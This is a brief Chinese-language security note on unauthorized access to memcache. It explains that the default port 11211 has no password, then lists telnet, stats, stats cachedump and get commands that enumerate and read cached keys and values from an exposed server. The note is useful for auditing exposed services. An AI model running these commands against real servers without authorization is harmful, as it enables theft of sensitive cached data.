memcache未授权访问

memcache是国外社区网站Live Journal的开发团队开发的高性能的分布式内存缓存服务器。

一般的使用目的是，通过缓存数据库查询结果，减少数据库访问次数，以提高动态Web应用的速度、提高扩展性。

memcache的默认端口是11211，不需要密码即可访问，黑客直接访问即可获取数据库中所有信息，造成严重的信息泄露。

漏洞验证

利用telnet 探测目标11211端口

telnet xx.xx.xx.xx 11211

无需用户名密码，可以直接链接memcache服务的11211端口。

stats //查看memcache 服务状态 
stats items //查看所有items 
stats cachedump 32 0 //获得缓存key 
get :state:264861539228401373:261588 //通过key读取相应value ，获得实际缓存内容，造成敏感信息泄露

实际应用

使用treesoft数据库管理系统连接memcache数据库。